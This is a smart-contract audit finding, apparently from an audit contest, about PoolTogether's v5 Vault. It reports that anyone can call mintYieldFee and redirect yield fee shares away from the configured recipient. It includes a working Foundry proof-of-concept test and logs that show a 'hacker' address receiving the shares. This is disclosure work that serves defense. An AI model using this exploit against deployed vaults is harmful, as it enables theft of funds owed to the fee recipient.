PoolTogether - ravikiranweb3's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/main/src/Vault.sol#L394-L402

Vulnerability details

Impact

Anyone can call mintYieldFee on vault to claim the fee. Any one can simply call mintYieldFee to claim the shares.

Proof of Concept

Any one can claim the _yieldFeeShares by calling vault.mintYieldFee() function.

function testClaimYieldFee() external {
    _setLiquidationPair();

    address hacker = vm.addr(15);
    address hackerFriend = vm.addr(16);
    console.log("hacker",vault.balanceOf(hacker));

    vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);
    vault.setYieldFeeRecipient(bob);

    uint256 _amount = 1000e18;

    underlyingAsset.mint(address(this), _amount);
   _sponsor(underlyingAsset, vault, _amount, address(this));
   
    uint256 _yield = 10e18;
    _accrueYield(underlyingAsset, yieldVault, _yield);

    vm.startPrank(alice);

    prizeToken.mint(alice, 1000e18);

    console.log("totalSupply",vault.totalSupply());

    uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));
   console.log("_liquidatedYield",_liquidatedYield);

    _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);

    vm.stopPrank();

    uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

    console.log("yeildFeeShares",_yieldFeeShares);
    console.log("totalSupply",vault.totalSupply());


    assertEq(vault.balanceOf(bob), 0);

    assertEq(vault.totalSupply(), _amount + _liquidatedYield);
    assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);

    
    vault.mintYieldFee(_yieldFeeShares, hacker);

   
    console.log("totalSupply",vault.totalSupply());
    console.log("yieldFeeTotalSupply",vault.yieldFeeTotalSupply());
   
    console.log("yeildFeeShares for Bob",vault.balanceOf(bob));
    console.log("yeildFeeShares for hacker",vault.balanceOf(hacker));

  }

Logs: hacker 0 totalSupply 1000000000000000000000 _liquidatedYield 9000000000000000000 yeildFeeShares 1000000000000000000 totalSupply 1009000000000000000000 totalSupply 1010000000000000000000 yieldFeeTotalSupply 0 yeildFeeShares for Bob 0 yeildFeeShares for hacker 1000000000000000000

Tools Used

Manual code review + foundry testing

Recommended Mitigation Steps

In the constructor, yieldFeeRecipient_ is passed in as parameter. The fee should go to the configured receipient instead. Send the fee to Yield fee receipient.

Assessed type

Other